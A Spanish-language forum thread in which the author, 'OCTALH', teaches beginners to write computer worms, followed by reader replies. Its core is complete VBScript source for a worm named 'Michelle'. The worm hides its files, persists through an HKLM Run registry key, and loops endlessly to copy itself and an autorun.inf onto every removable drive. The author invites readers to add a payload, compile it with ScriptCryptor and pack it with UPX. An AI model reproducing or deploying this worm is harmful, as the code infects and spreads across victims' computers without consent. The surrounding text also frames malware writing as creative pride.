Antes que nada feliz navidad por adelantado a toda la comunidad 

Nota al moderador:
Moderador si crees que este no es el lugar correcto para este manual y lo quieres mover a programación, antes de hacerlo toma en cuenta que el manual que e escrito va dirigido a personas sin conocimientos de programación y quizás si lo mueves no les darás la oportunidad de aprender de el.

Los links del manual original y del taller son los siguientes.

http://octalh.33host.com/
http://octalh.33host.com/1era-entrega.html

Recomiendo ampliamente leerlo desde la fuente original del link que acabo de proporcionar por cuestiones de formato y comodidad. Gracias



Bueno antes que otra cosa me presento. Mi nombre en la "Red de Redes" es OCTALH, quizás algunos de ustedes ya me conocen, quizás no, quizás llegaron a este manual por mera coincidencia u obra del destino, pero sea cual sea la razón por la cual hoy estas frente a esta pantalla negra  se que no será un minuto desperdiciado en tu vida, quizás para muchos  puede ser el inicio de algo mucho mas grande. para otros puede ser solo una lectura mas en este basto universo digital.

Sea cual sea el motivo por el cual hoy estas aquí espero que disfrutes de este pequeño manual, guía, HOW-TO o como quieras llamarlo xD.  Al final lo único que importa es la satisfacción personal y esa sonrisa sarcástica cuando sueltas por fin esa bestia en la que trabajaste tantas noches, te llenas de ansias de ver si llegara lejos, si le enseñaste bien. cada día y cada  noche habrás completado tu misión, solo para volver a empezar desde una hoja en blanco, derrepente tu mente solo piensa en PERFECCIÓN, ese sueño utópico irrealizable al que estamos atados a contemplar desde lo mas profundo de nuestro abismal.

Y creo que aquí termino mejor.... esto se esta desviando un poco de nuestro objetivo haha, en fin.. creo que  es hora de iniciar la travesía.



+ UN POCO DE HISTORIA Y ALGUNA QUE OTRA DEFINICIÓN

El nombre gusano proviene de The Shockwave Rider, una novela de ciencia ficción publicada en 1975 por John Brunner. Los investigadores John F. Shoch y John A. Hupp de Xerox PARC eligieron el nombre en un artículo publicado en 1982; The Worm Programs, Comm ACM, 25(3):172-180, 1982), y desde entonces fue globalmente adoptado.

El primer gusano informático de la historia data de 1988, cuando el gusano Morris infectó una gran parte de los servidores existentes hasta esa fecha. Su creador, Robert Morris, fue sentenciado a tres años de libertad condicional, 400 horas de servicios a la comunidad y una multa de USD 10050. Fue este hecho el que alentó a las principales empresas involucradas en la seguridad de tecnologías de la información a desarrollar los primeros cortafuegos.

http://es.wikipedia.org/wiki/Gusano_inform%C3%A1tico

Un worm o gusano informático es similar a un virus debido a que ambos pueden causar daños irreversibles una ves alojados en el sistema huésped, a diferencia de un virus, un gusano tiene la habilidad de no solo reproducirse por todo el sistema, también de propagarse y hacerlo sin ayuda humana, es decir el gusano se valdrá de diferentes técnicas para conseguir su reproducción masiva. puede valerse de tantos medios como agujeros de seguridad encuentre en el sistema residente.

Bueno creo que hasta aquí tenemos suficiente noción de que es un W0RM o gusano informático.

++ PRIMEROS PASOS A CONSIDERAR ANTES DE LA CREACIÓN DE NUESTRO W0RM

- Objetivo

- Lenguaje de programación
(este manual esta diseñado para ser comprendido sin tener grandes conocimientos de programación)

- Infección del sistema

- Residencia en el sistema

- Medios de Propagación


# OBJETIVO #

Bueno antes de diseñar un gusano hay que decidir lo mas importante, claro esta después del nombre XD.. si me refiero a un objetivo puesto que un gusano a diferencia de un virus que solo hace mas que destruir e infectar tiene un propósito mas grande, un gusano siempre va a buscar un objetivo, una meta, te puede servir para buscar cierto tipo de información y tanto puede enviarlas al creador como puede eliminarla, muchos crean gusanos bancarios por ejemplo, van enfocados a capturar información sensible y confidencial, claro esta el gusano va acompañado de algún keylogger rootkit o cualquier modulo o aditamento que el creador haya querido incorporarle.

otros usos son para propagar a otros virus o tipos de spyware, el gusano se encargara de verificar que el virus o spyware continue en el sistema, si no lo encuentra lo baja de algún servidor para posteriormente reinfectar el sistema, es muy común que un gusano viaje siempre con otros programas. el gusano se convierte en protector de programas externos a el.

También existen gusanos para adueñarse de equipos infectados, estos son los que dejan backdoors o se convierten en puentes o proxys que posteriormente una atacante utiliza para realizar otra serie de actividades ilícitas. estos pueden recibir instrucciones via IRC, por ejemplo para realizar ataques de denegación de servicio a otros servidores o simplemente para revelar información del sistema infectado.

Otra utilidad que le dan a los gusanos es en la creación de botnets que consiste en la manipulación remota de un sistema comprometido, que una ves infectado puede operar junto con otros miles o millones de equipos infectados para realizar otra serie de ataques coordinados.

En fin hay tantos usos como tus intenciones o tu imaginación te lo permita. puedes crear hasta un gusano para ganarte un dinerito en impresiones web haha XD..



# LENGUAJE DE PROGRAMACIÓN #


A llegado el momento de decidir el lenguaje de programación en el que realizaremos nuestro primer w0rm, en este punto se que muchos estarán deacuerdo con migo y se que muchos no, pero ya que este es un manual dirigido a personas que nunca en su vida han programado un gusano y en muchos casos quizás este será su primer contacto con la programación. entonces el lenguaje de programación que utilizaremos será VBS o VBScript, así es el mismísimo lenguaje en el que fue programado el famoso gusano filipino "I Love You" que colapso Internet hace unos cuantos años.

Porque VBScript?

Principalmente porque es un lenguaje practico y fácil de comprender además de ser la base de VB6, esto quiere decir que lo que aprendas de VBScript te servirá perfectamente en VB6 ya que casi todas sus funciones son compatibles.

segundo porque si eres usuario de Windows ya tienes todo lo que debes tener en tu computadora para iniciar a programar tu primer w0rm, ya que no vamos a requerir de ningún súper editor de 1gb, bastara solo con el bloc de notas para iniciar a programar, aunque en este punto yo recomiendo otro editor que te pone todo el código de colores y así puedes identificar mas fácilmente ciertas cadenas o fallos en el código, puedes descargarlo de aquí:

http://www.flos-freeware.ch/zip/notepad2.zip [242 KB],

Notaras que es un bloc de notas pero orientado a la programación.


# INFECCIÓN DEL SISTEMA #


La infección del sistema es algo muy importante antes de continuar, ya que puedes hacer tu w0rm tan dañino o "amigable" como tu quieras, recuerdas que anteriormente tocamos el punto del OBJETIVO, bien si el objetivo es pasar inadvertidos para obtener algún tipo de información, claro esta que no nos conviene infectar todos los EXE que encontremos en el sistema o en la carpeta "Mis documentos", rápidamente detectarían anomalías en el sistema para posteriormente realizar un análisis de el y quizás hasta la eliminación de nuestro gusano.

Si por otra parte el gusano va ser del tipo destructivo la infección es igual de agresiva hasta el caso de infectar archivos del sistema o todos los programas que encuentre en el, dejando inutilizable al sistema claro esta. Esto por supuesto es un objetivo que no recomiendo en absoluto, aquí depende la ideología del creador o que tan grande sea su código ético.


# RESIDENCIA EN EL SISTEMA #


La residencia en el sistema no es mas que la serie de instrucciones que el gusano realizara tras ser ejecutado para asegurarse una laaaaarga estancia en el sistema en el que se encuentra.

Aquí entra por ejemplo la alteración del registro de Windows archivos de configuración, tareas programas, ocultación ADS, rootkits o no se.. cualquier tipo de técnicas para proteger al gusano de su aniquilación.


# MEDIOS DE PROPAGACIÓN #


Esta parte es la mas importante del gusano, ya que si recordamos la definición, lo que caracteriza a un gusano es su habilidad para propagarse por si mismo. Este punto al igual que todos los demás reside en las decisiones y objetivos que tenga el creador, dependiendo de su OBJETIVO, el gusano tendrá ciertos tipos de propagación o no.

Estos pueden ser de muchas clases un gusano se puede propagar por una falla en el sistema o por algún medio disponible en el. Por ejemplo el gusano puede propagarse vía E-Mail o Por unidades compartidas de red, disquetes, Memorias o unidades extraíbles, etc.. también puede explotar alguna vulnerabilidad de algún programa o servicio como puede ser alguna ejecución de código arbitrario en el queridísimo INTERNET EXPLORER, bastaría con visualizar alguna pagina Web para estar infectado. como puedes ver las posibilidades son infinitas y dependen de los conocimientos de seguridad informática que el programador posea.


# NOMBRE #


Se que no mencione este punto pero antes de que se me pase lo escribo aquí, el nombre es parte FUNDAMENTAL de nuestra creación, un artista jamás deja una obra sin algún mensaje o código que revele el nombre de la misma.

Creo que a esto algunos le llaman soberbia, yo le llamo ORGULLO, y esque quien no esta feliz de ver su obra realizada. .


# AQUÍ COMIENZA OFICIALMENTE LA PROGRAMACIÓN DE TU PRIMER W0RM #


Todas las pruebas listadas a continuación fueron realizadas en un Winbugs XP SP2 ver. 5.1.2600 / AMD 64 bits.

Material:

- Notepad2 [ Editor para programar nuestro w0rm ]

- ScriptCryptor [ programa para convertir a EXE nuestro w0rm ]

- UPX Packer [ Programa para comprimir nuestro w0rm ]

- Carpeta vacía para trabajar

- Ganas y paciencia

- Código fuente de tu primer w0rm

Puedes descargar todas estas herramientas incluyendo el código fuente del w0rm en un paquete .rar aquí:


[ DESCARGAR 1.96 MB ]

Pass: XTYGS400488SSDD?0010



ATENCION ATENCION ATENCION ATENCION ATENCION ATENCION ATENCION ATENCION ATENCION
 SI YA SABES LO BASICO DE VBS ENTONCES BRINCATE ESTE PUNTO Y PASA AL SIGUIENTE
ATENCION ATENCION ATENCION ATENCION ATENCION ATENCION ATENCION ATENCION ATENCION



Te daras cuenta que programar no es mas que una serie de condiciones que dan falso o verdadero

Por ejemplo hagamos un pequeño programa ficticio que realice una acción determinada.

El contexto será el siguiente:

SI hoy amaneció lloviendo ENTONCES no voy a la escuela, DE LO CONTRARIO si voy.

esto seria algo como esto.

teniendo en cuenta que tenemos dos funciones "Dia" y "Voy"

 If dia(lluvia) Then Not voy(escuela) Else voy(escuela) End If

con esta misma estructura podemos hacer miles de combinaciones como esta

 If dia(Soleado) Then Not voy(Deportivo) Else voy(Deportivo) End If

Si el dia esta soleado entonces no voy al deportivo de lo contrario si voy

podemos combinar miles de posibilidades dependiendo de los valores que puedan tener las funciones "Dia" y "Voy"

Bien con esto creo que podrás entender el contexto del gusano que es igual de simple

"Si no esta infectado entonces infecta"

If not infectado() then infecta() end if

If = SI

Then = Entonces

Else = De lo contrario

End if = Termina la condicional

 

+ SEGUNDO EJEMPLO +

Programa para ir al doctor y curarte.

+========CONSTANTES===========+

Paciente = YO

tipoenfermedad = GRIPE

+========CONSTANTES===========+

 

+========INSTRUCCIONES========+

If Enfermo(Paciente,tipoenfermedad) then Doctor() End if

aqui ponemos las constantes paciente y tipoenfermedad en la funcion enfermo

de esta forma podemos cambiar el paciente o la enfermedad cuando queramos unicamente modificando la constante paciente y tipoenfermedad

+========INSTRUCCIONES=========+

 

+=========FUNCIONES===========+

function Enfermo(alguien, enfermedad)

if alguien siente enfermedad then

   enfermo = True

     Else

   enfermo = False

end function

la función enfermo no hace mas que tomar dos valores, en este caso le estamos diciendo que reemplace las palabras "alguien" y "enfermedad" por otro valor,
que arriba en las instrucciones le pusimos que las reemplace por paciente y tipoenfermedad, que es igual a YO y GRIPE, traducido seria como

si Yo siento Gripe entonces estoy enfermo de lo contrario no

recuerda que una función siempre va devolver un valor, en este caso esta dando valores de falso o verdadero.

+=========FUNCIONES===========+

 

+=========SUBPROCESOS===========+

sub Doctor()

set  Curar =  tomar ((Paciente) + inyección)

end sub

el subproceso a diferencia de una función, no devuelve ningún valor, solo se encarga de realizar alguna tarea o acción, en este caso solo le estamos diciendo

subproceso doctor es igual a curar que es igual a tomar al paciente que en este caso es igual a YO y ponerle una inyección, como te das cuenta solo realiza una acción.

+=========SUBPROCESOS===========+


Ya tienes las bases para programar tu gusano, ahora manos a la obra


# w0rm MICHELLE BY OCTALH #


Bueno he diseñado un gusano bastante simple para tu primer proyecto, eso no quiere decir que no sea útil, de hecho vamos a utilizar uno de los medios de propagación que están de moda hoy en día y que a mi juicio tiene mucho mas auge que enviar correo electrónico a tus contactos.

Utilizaremos la propagación por medios extraíbles, esto quiere decir que el gusano será capaz de propagarse por cualquier cosa que el sistema reconozca como un medio extraíble, llámalo Pendrive, Memoria USB, Celular (móvil), IPOD, Reproductor mp3, etc etc...

El código lo trate de hacer lo mas sencillo y claro posible, con comentarios en cada una de las fases para su fácil entendimiento.

Puedes copiar el código del gusano o si ya bajaste el archivo rar anteriormente puedes abrirlo usando Notepad2.exe recuerda no dar doble clic sobre el o lo activaras

'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
'     _____  .____________   ___ ______________.____    .____     ___________
'    /     \ |   \_   ___ \ /   |   \_   _____/|    |   |    |    \_   _____/
'   /  \ /  \|   /    \  \//    ~    \    __)_ |    |   |    |     |    __)_ 
'  /    Y    \   \     \___\    Y    /        \|    |___|    |___  |        \
'  \____|__  /___|\______  /\___|_  /_______  /|_______ \_______ \/_______  /
'          \/            \/       \/        \/         \/       \/        \/ 
'            ____ ____ _________ ____ ____ ____ ____ ____ ____ 
'          ||B |||Y |||       |||O |||C |||T |||A |||L |||H ||
'          ||__|||__|||_______|||__|||__|||__|||__|||__|||__||
'          |/__\|/__\|/_______\|/__\|/__\|/__\|/__\|/__\|/__\|
'
'     - w0rm: Michelle
'     - c0de: vbs
'     - ver: 1.0
'     - programer: OCTALH  octalh[at]gmail[dot]com
'     - Eres libre de modificar Y redistribuir este codigo siempre y cuando menciones
'       la fuente y el autor.
'
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#

 
' [ Caracteristicas w0rm ]

' + Infeccion: Simple
' + propagacion: Medios extraibles
' + Permanencia en sistema: Simple
' + Peligrosidad: depende >_<

 
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
'                     [  MODELO DE OBJETOS ]

Set fso = CreateObject("Scripting.FileSystemObject") ' ARCHIVOS
Set WshShell = WScript.CreateObject("WScript.Shell") ' REGISTRO

'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
'                     [  CONSTANTES  ]

w0rmname = WScript.ScriptName ' Indicamos que el nombre del gusano sera
                              ' el que tenga en ese momento el archivo actual.
w0rm = "gusano.vbs"
'Nombre del exe que tendra el gusano en el sistema
                                
w0rmpatch = fso.GetSpecialFolder(1) & "\" & w0rm
'Indicamos el directorio donde se copiara el gusano, si utilizamos
'la funcion specialfolder podemos indicar el copiado a la carpeta del sistema (1)
'sin importar donde se encuentre.
                                                                                                   
autorun = fso.GetSpecialFolder(1) & "\autorun.txt" 
'lo mismo que en w0rmpatch pero para el autorrun.

w0rmusb = ":\TEM1000.exe" ' Nombre que tendra el gusano en el medio extraible

autorunusb = ":\autorun.inf" ' Nombre que tendra el autorun en el medio extraible

Const HKEY_LOCAL_MACHINE = &H80000002 'constante para modificar registro mas adelante

'#========================================================================================#
'                     [  CHEKEO DE INFECCION  ]

if not infeccion(w0rm) then copiar w0rmname, w0rmpatch end if
' si no encuentras w0rm entonces copia w0rm a la carpeta de sistema
    if not infeccion(autorun) then makeautorun() end if
     'si no encuentras autorun entonces crealo
          makeatributos()
          'Agrega atributos a cada archivo que compone al w0rm
          
 
'                     +  INFECTAR REGISTRO DE WINDOWS  +
         
 
If not keyexist("gusano", "Software\Microsoft\Windows\CurrentVersion\Run\", _ 
HKEY_LOCAL_MACHINE) then crearentradareg()
 
'Si no existe la llave en el registro llamada gusano entonces la crea, con esto aseguramos
'el arranque del gusano con cada inicio del sistema.

 
                          '===========================
                          ' ACTIVANDO LA PROPAGACION
                                  infekusb()
                          '===========================
                          
 
'# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 

 
'                                   TU MENSAJE A PROPAGAR
'                                           

'# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 

 
'#========================================================================================#

'                     [  SUBPROCESOS Y FUNCIONES  ]

'+----------------------------------------------------------------------------------------+
'Funcion que hace un checkeo de un archivo cualquiera (zz)
'si existe devuelve un valor de falso o verdadero

function infeccion(zz)
    On Error Resume Next'<====Instruccion que se encarga de continuar con la ejecucion del
if fso.FileExists(zz) Then  '   script incluso si existiera algun error.
   infeccion = true
exit function
    else
   infeccion = false
exit function
end if
end function
'si encuentras un archivo (zz) entonces la funcion infeccion es verdadera de lo contrario 
'es falsa,( recuerda que zz se puede sustituir por cualquier archivo )

'+----------------------------------------------------------------------------------------+
'Funcion que se encarga de copiar un archivo(pp) a una ubicaccion(mm)

function copiar (pp,mm)
    On Error Resume Next
fso.CopyFile pp, mm, true
end function
 
'+----------------------------------------------------------------------------------------+
'Subproceso que se encarga crear un archivo y escribir datos en el
'en este caso le indicamos que cree un archivo con la constante autorun
'que definimos desde el principio

sub makeautorun()
    On Error Resume Next
set mkaut = fso.createtextfile(autorun, True) 'creamos un archivo con el nombre de
    mkaut.WriteLine "[AUTORUN]"                'la constante autorun
    mkaut.WriteLine "open=" & w0rmusb 'constante del nombre del ejecutable.
    mkaut.WriteLine "shell\1=abrir"
    mkaut.WriteLine "shell\1\Command=" & w0rmusb
    mkaut.WriteLine "shell\2\=explorar"
    mkaut.WriteLine "shell\2\Command=" & w0rmusb
    mkaut.WriteLine "shellexecute=" & w0rmusb
    mkaut.close
end sub
'aqui creamos el autorun que sirve para ejecutar el gusano cuando la victima de doble click
'en el icono de la unidad extraible

'+----------------------------------------------------------------------------------------+
'subproceso que se encarga de añadir atributos de oculto, sistema y solo lectura
'a cada archivo que compone al w0rm

sub makeatributos()
    On Error Resume Next
Dim archivosw0rm(1) 'array archivosw0rm que dentro de el contiene al gusano y su autorun
    archivosw0rm(0) = w0rmpatch
    archivosw0rm(1) = autorun
 
       for each file in archivosw0rm ' por cada archivo dentro del array archivosw0rm
         set wormcontent = fso.GetFile(file) 'tomalos y
            wormcontent.attributes = 7        'agregales atributos
              next
end sub
 
'+----------------------------------------------------------------------------------------+
'Funcion que se encarga de verificar que exista una llave en el registro

Function keyexist(keyname, keyPath, regCategory)
    On Error Resume Next
     retVal = false
     strComputer = "." 'inicamos en cualquier computadora
     Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
     strComputer & "\root\default:StdRegProv") 'se crea un objeto
   
     oReg.EnumKey regCategory, keyPath, arrSubKeys'partes de la clave del registro
     
     For Each subkey In arrSubKeys
          If keyname = subkey Then
               retVal = true
               Exit For
          End If
     Next
     keyExists = retVal
End Function
'esta funcion basicamente se encarga de verificar que existan los valores que introduzcamos
'en ella que son keyname, keypath y regcategory, de esa manera comprobamos que exista
'cualquier llave en el registro con solo usar la funcion keyexist y el valor de nuestra 
'llave a verficar

'+----------------------------------------------------------------------------------------+
'Subproceso que se encarga de crear la llave en el registro
private sub crearentradareg()
    On Error Resume Next
WshShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\gusano", _
w0rmpatch, "REG_SZ"
end sub
 
'+----------------------------------------------------------------------------------------+
'Subproceso que se encarga de copiar al gusano a una unidad extraible.
private sub infekusb()
    on error resume next
Const DriveTypeRemovable = 1 ' indicamos medio extraible
do ' inicia loop infinito
Set oFS = Wscript.CreateObject("Scripting.FileSystemObject")
Set oDrives = oFS.Drives 'declaramos todos los srivers
For Each Drive in oDrives 'por cada driver
    If Drive.DriveType = DriveTypeRemovable Then 'si son del tipo removible entonces
        If Drive.DriveLetter <> "A" Then ' si la letra es de A-Z entonces
            If fso.FileExists(Drive.DriveLetter + autorunusb) Then ' si existe autorun
               set cFile = fso.GetFile (Drive.DriveLetter + autorunusb)'tomalo y
               cFile.attributes = 0 ' quitale los atributos
               fso.CopyFile autorun, Drive.DriveLetter & autorunusb , true'despues copialo
           else' de lo contrario
      fso.CopyFile autorun, Drive.DriveLetter & autorunusb , true' copialo
   End if
fso.CopyFile w0rmpatch, Drive.DriveLetter & w0rmusb , true' copia el gusano a la unidad
End If
End If
Next
loop
end sub
'aqui es donde quiza tengas mas duda asi que te lo explicare paso por paso
'primero obtenemos todos los drivers(unidades) que el sistema pueda tener, despues
'verificamos que sean del tipo extraible, una ves verificado eso tomamos la letra de la
'unidad y luego hacemos un checkeo para ver si existe el autorun en dicha unidad
'si existe le quita los atributos de solo lectura para poder sobreescribirlo y hacer
'una copia desde el autorun que esta en el sistema, como el del sistema ya tiene
'atributos de oculto sistema y solo olectura al copiarlo se copia con los mismos atributos
'y no tenemos que volver a agregarcelos en el medio extraible.

'¿porque le quito los atributos en el medio extraible?
'porque se puede dar el caso en el que dicho medio extraible se encuentre infectado por
'otro gusano que no sea el nuestro y ya viene con su propio autorun, entonces asi nos
'aseguramos que nuestro gusano sera el vencedor hehe

'tambien aqui tenemos un loop interesante inicia con la frase do y termina en loop
'lo que estamos haciendo es un bucle condicional pero sin condicion y apuntado a un objeto
'de esta forma creamos un bucle infinito y el copiado del gusano sera
'practicamente al instante.

Recuerda que debe llevar la extensión .vbs para poder ser ejecutado



# OBJETIVOS DEL TALLER #


- Ser capaz de crear tus propios gusanos

- Usar tu imaginación

- Divertirte haciendo lo que haces

- Aprender y desarrollar tus propias técnicas

Analiza y estudia el código que te acabo de entregar y basándote en el, sigue la misma lógica y estructura del mismo, tu tarea será darle un propósito, te acabo de hacer entrega del alma pura del mío pero ahora se encuentra en bruto listo para que tu empieces a tallarlo, ahora mismo tu misión es darle el mensaje a propagar.

Se que muchos ya estarán con un millón de ideas o mejoras que le pueden hacer al código, muchos otros se preguntaran porque entrego un gusano en blanco, pues entre muchos motivos, principalmente es el que ustedes aprendan ya que entre menos código haya les facilito mas la comprensión del mismo y otra causa es porque hoy en día lamentablemente existen muchas personas que solo copian y pegan el código causando daños a terceros, esa fue una de las grandes razones que influyeron a que les haga entrega de un gusano que no causa destrucción alguna mas que su mera habilidad para propagarse.

El código esta listo para ser compilado con ScriptCryptor y si quieres puedes empaquetarlo con UPX para reducir aun mas su tamaño.

En la siguiente entrega les mostrare la propagación P2P y técnicas variadas para ocultar y proteger tu gusano, además de algunos otros tips y cosas curiosas que puedes añadirle a tu proyecto.


# DESPEDIDA #


Bueno... hasta aquí los dejo para que puedan realizar sus propias pruebas, yo me despido por ahora pero estaremos en contacto.

Espero que esta guía haya sido de ayuda y te hallas divertido con ella, no dejes de realizar tus propias investigaciones, ya que la curiosidad es el principio del conocimiento.

Atte. OCTALH

Eres libre de copiar y distribuir este manual siempre y cuando respetes la fuente y el autor.

EXE.LENTE!!! XDD

Muy bueno la verdad, esto de crear o modificar gusanos es buena idea  .

Se pueden postear dudas?? 


SALUD.O.S

Bueno...pena que el vbs hoy en dia......No se recomienda porque los antivirus reconocen los scripts que llevan y los frenan...Estaria mejor aplicado directamente en visual basic y con api's.

De todas formas...yo no soy muy partidario de dos cosas:

1º Cerrarse en el vb, el vb es una &$%&, muy facil pero despues le falta potencial y muchas veces depende de librerias.

2º Esta bien el tutorial y la idea, pero si alguien que no sabe programar intenta hacer uno es una perdida de tiempo, para hacer virus o lo que sea se a de saber programar, muchos nos cansamos de repetirlo...Pillar ese codigo, cambiar el nombre de un par de variables y añadirle dos tonterias eso no es hacer nada.

Un saludo.

estoy deacuerdo en que vbs no es un lenguaje orientado a eventos del sistema operativo, por eso es script va orientado mas a otras cosas, en fin para los auqe no saben ni idea de programar esta bastante bien, claro esta si tienes experiencia en gusanos sabes que tampoco vb es la solucion, existen muchos lenguajes mucho mejores para hacerlos

y respecto al manual si es que te tomaste el tiempo de leerlo esta hecho para personas QUE NO SABEN PROGRAMAR, esta bastante bien explicado y documentado.
y tambien si lo hubieras leido sabrias porque VBS







este gusano que hice para pruebas infecta pendrives (medios extraibles)
para algo tan simple no requieres de vb ni c

el codigo lo e hecho yo, y si te interesa usarlo pues dale un objetivo y algo que propagar

salu2

muy interesante, pero que pena que no podre probarlo por que no me va el link de descarga, saludos

Link actualizado 


Mas adelante veremos eso 


Se me olvidaba, para los que pidieron scripts para añadirle funciones a su gusano aqui tienen una buena coleccion de ellos.

http://www.activexperts.com/activmonitor/windowsmanagement/adminscripts/

salu2

buena man, voy a ver si este fin de semana comienzo xD
aver q tal me va

le puse "zz" pero esas letras no tienen importancia realmente, esa funcion lo que hace es un chequeo de cualquier archivo, por ejemplo si quieres saber si existe server.exe y en dado caso que exita lo quieres copiar a c:\windows\ seria asi:

if infeccion(server.exe) then copiar server.exe c:\windows\server.exe end if

zz se debe sustituir pero no en la funcion directamente, lo cambias cuando defines la funcion.

ejemplo incorrecto (esto NO debes hacer):

function infeccion(server.exe)
    On Error Resume Next
if fso.FileExists(server.exe) Then
   infeccion = true
exit function
    else
   infeccion = false
exit function
end if
end function

para eso definiste directamente zz en la funcion como en el primer ejemplo que te puse, asi no requieres de toda una funcion para buscar un solo archivo, sino que la usas cuando quieras para el archivo que quieras

es como el ejemplo del programa de ir al doctor


salu2